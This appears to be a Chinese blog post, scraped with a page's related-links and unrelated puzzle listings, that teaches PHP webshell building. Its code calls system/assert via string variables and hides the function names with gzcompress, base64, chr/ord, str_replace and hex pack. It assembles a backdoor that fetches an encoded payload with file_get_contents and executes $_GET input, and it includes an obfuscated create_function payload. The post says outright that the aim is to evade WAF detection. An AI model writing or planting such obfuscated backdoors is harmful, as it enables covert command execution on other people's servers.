0x1

直接在字符串变量后面加括号, 会调用这个函数:

<?php
$s = 'system';
$e = 'assert';
$s('whoami');
$e('phpinfo();');

0x2

执行命令常用的函数有:

system('命令')
eval('php code')
assert('php code')

这三个最常用

0x3

base64_encode/base64_decode

<?php
$b = base64_encode('whoami');
echo $b.'<br />';
echo base64_decode($b).'<br />';

0x4

gzcompress/gzuncompress 压缩数据

<?php
$c = gzcompress('whoami');
echo $c.'<br>';
echo gzuncompress($c)."<br />";

0x5

从上面的命令执行, base64加解64编码与gz压缩, 我们可以写一个这样的后门。

先把后门压缩, 再把后门base64_encode(base64编码后防止字符原因代码出错)。

如果后门是一个php代码的话, 在最后我们可以用assert或eval执行它。

在php中, 有一个这样的函数:

file_get_contents(url)

用这个函数可以远程获取文件内容保存到变量中:

$shell = file_get_contents('http://localhost/shell.jpg')

开始测试, 从最简单例子开始。

制作gzcompress与base64_encode编码过的文件:

<?php
$c = 'system';
$data = gzcompress($c);
$file_data = base64_encode($data);
echo $file_data;
fwrite(fopen('shell.txt', 'w'), $file_data);

这样我们就创了一个压缩后再64编码的system字符串

使用:

<?php
$c = file_get_contents('http://localhost/shell.txt');
#获取数据
$s = gzuncompress(base64_decode($c));
#解密数据 $s($_GET[session]);
#执行命令

那么问题来了, 我们为什么要转了一大圈再回来呢?

原因很简单, 就是你压缩后的数据, 有可能一些WAF并不会检测到内容存在危险。

0x6

ascii转码函数: chr/ord

<?php
$str = 'system';
for($count = 0; $count < strlen($str); $count++){
echo substr($str, $count, 1).'~'.ord(substr($str, $count, 1)).'<br />';
}
/*
s~115
y~121
s~115
t~116
e~101
m~109*/

0x7

str_replace字符替换函数:

<?php
$s = str_replace('p','','pspypsptpepmp');
echo $s;
#system

0x8

create_fuction()创建匿名函数:

<?php
#create_function('参数列表', 'php代码字符串');
$info = create_function('','phpinfo();');
$info();

0x9

pack函数

pack('格式', 十六进制字符串)

pack函数有点复杂, 但不常用, 如果你要把一个十六进制转成字符, 可以这样:

<?php
$x = bin2hex('system');
$s = PACK('H*', $x);
echo $s.'<br />';
$s('whoami');

pack关键用法就是, 我们可以把一些第感的函数, 先转成16进制, 再 pack回来。

比如, create_function('', $shell)中, $shell为php code代码, 我们可以在php code中利用隐藏一些敏感函数。

<?php
$shell=PACK('H*','2470617373776F72643D27').$password.
PACK('H*','273B247368656C6C6E616D653D27').$Username.
PACK('H*','273B246D7975726C3D27').$Url.
PACK('H*','273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827').'
eJzs/Xt3HNd5Jor/zazl71Buw2rAwqXu1UUQsOpKgheABEBSlK
iD02g0gCYaaKi7QYCi+GEczZxoHM+KJetiWzdbkmNZsi1FkmXH
yzOT8WQyk/HPcybJTJKZJLN+z7N3VXVVX0BQtpPJOoZEoLtq3/
d73+/77tb6WqdbbXfHJ2Y/8zsb9c3GXn28vHunurHRrnc65cmx
tZVo+Vq0/Hh5JVheuLy6Fi9cjBa9S1H5iXyN/Vanu18VFfjnsN
XeyL/ubNebzb3qbh3vs8/FHg/aTbwUf/misTn+yFa9u7Zb3WrU
....... $f = create_function('', $shell);
$f();

pack用法可以参孝一下这里: perl pack

总结

创建一个gz压缩再base64编码的文件(如 logo.png), 利用file_get_contents获取。

利用str_replace/chr/ord/create_fuction函数绕过一些WAF检测。

php webshell常见函数的更多相关文章

  1. [转]中国最大的Webshell后门箱子调查,所有公开大马全军覆没

    起因 对这件事情的起因是某天我渗透了一个大站,第二天进webshell时就发现,当前目录出现了新的后门,仔细一查,发现是博彩团伙干的,网站被全局劫持黑帽程序如下代码 set_time_limit(); ...

  2. Java类WebServer及中间件拿webshell方法总结

    0.序 原文名称:Tomcat.Weblogic.JBoss.GlassFish.Resin.Websphere弱口令及拿webshell方法总结 原文from:http://www.hack80.c ...

  3. 一篇说尽Excel常见函数用法

    一篇说尽Excel常见函数用法 Word,PPT,Excel这三个Office软件是职场办公里最常用的三个软件,但是我发现简书上写PPT的教程多,Excel的少,即使有,也是零零散散.因为Excel的 ...

  4. WebLogic 12c控制台上传获取webshell

    WebLogic 默认端口7001,一般可以通过这样来访问 http://10.9.1.1:7001/console 控制台 通过弱口令weblogic/weblogic登录控制台,下一步获取如何上传 ...

  5. 利用网络流传的WebShell默认密码库寻找WebShell

    声明:本文提到的技术,仅可用作网络安全加固等合法正当目的.本文作者无法鉴别判断读者阅读本文的真实目的,敬请读者在本国法律所允许范围内阅读本文,读者一旦因非法使用本文提到技术而违反国家相关的法律法规,所 ...

  6. 各种隐藏 WebShell、创建、删除畸形目录、特殊文件名、黑帽SEO作弊(转自核大大)

    其实这个问题,经常有朋友问我,我也都帮大家解决了…… 但是现在这些现象越来越严重,而且手法毒辣.隐蔽.变态,清除了又来了,删掉了又恢复了,最后直接找不到文件了,但是访问网站还在,急的各大管理员.站长抓 ...

  7. 当一名黑客获得一份WebShell后,会做什么

    当你获得一份webshell后,你会干嘛? 我曾获得N多webshell.什么discuz.dedecms.phpwind.phpweb.aspcms等等,甚至还包括N多自己研发的线上平台. 可是,问 ...

  8. Deformity JSP Webshell、Webshell Hidden Learning

    catalogue . JSP基础语法 . JSP Lexer By Lua . Open Source Code Analyzers in Java . WEBSHELL Samples . she ...

  9. Deformity ASP/ASPX Webshell、Webshell Hidden Learning

    catalog . Active Server Page(ASP) . ASP.NET . ASP WEBSHELL变形方式 . ASPX WEBSHELL变形方式 . webshell中常见的编码转 ...

随机推荐

  1. 【bzoj5178】[Jsoi2011]棒棒糖 主席树

    题目描述 Coffee的世界里也是有棒棒糖卖的,Coffee买了N(1≤N≤50000)只连着的.这N只棒棒糖包裹在小塑料袋中,排成一列,相邻的两只棒棒糖的塑料袋是接起来的.为了方便,我们把棒棒糖从左 ...

  2. 【bzoj3110】[Zjoi2013]K大数查询 整体二分+树状数组区间修改

    题目描述 有N个位置,M个操作.操作有两种,每次操作如果是1 a b c的形式表示在第a个位置到第b个位置,每个位置加入一个数c.如果是2 a b c形式,表示询问从第a个位置到第b个位置,第C大的数 ...

  3. MethodHandle

    JDK7为间接调用方法引入新的API,在java.lang.invoke包下,可以看作为反射的升级版,但它不像反射API那样显得冗长.繁重 主要的类 MethodHandle 方法句柄.对可直接执行的 ...

  4. 常州day1p3

    给定一个 n 行 m 列的方格,每个格子里有一个正整数 a,1 ≤ a ≤ k,k ≤ n∗m 假设你当前时刻站在 (i,j) 这个格子里,你想要移动到 (x,y),那必须满足以下三个条件 1:i & ...

  5. 浴谷八连测R6题解(收获颇丰.jpg)

    这场的题都让我收获颇丰啊QWQ 感谢van♂老师 T1 喵喵喵!当时以为经典题只能那么做, 思维定势了... 因为DP本质是通过一些条件和答案互相递推的一个过程, 实际上就是把条件和答案分配在DP的状 ...

  6. 【bzoj4559】成绩比较

    Portal -->bzoj4559 补档计划 ​  借这题补个档--拉格朗日插值 ​​  插值的话大概就是有一个\(n-1\)次多项式\(A(x)\),你只知道它在\(n\)处的点值,分别是\ ...

  7. oracle中的substr()函数

    SUBSTR(cExpression,nStartPosition [,nCharactersReturned])其中,cExpression指定要从其中返回字符串的字符表达式或备注字段:nStart ...

  8. 什么是end-to-end神经网络?

    https://www.zhihu.com/question/51435499 来源:知乎著作权归作者所有. 国立台湾大学的李宏毅教授在其机器学习课程中有讲到深度神经网络的 End-to-end Le ...

  9. poj1659 Frogs' Neighborhood

    Frogs' Neighborhood Time Limit: 5000MS   Memory Limit: 10000K Total Submissions: 10239   Accepted: 4 ...

  10. 洛谷P1078 文化之旅

    P1078 文化之旅 1.1K通过 3.6K提交 题目提供者洛谷OnlineJudge 标签NOIp普及组2012 难度普及+/提高 时空限制1s / 128MB 提交  讨论  题解 最新讨论更多讨 ...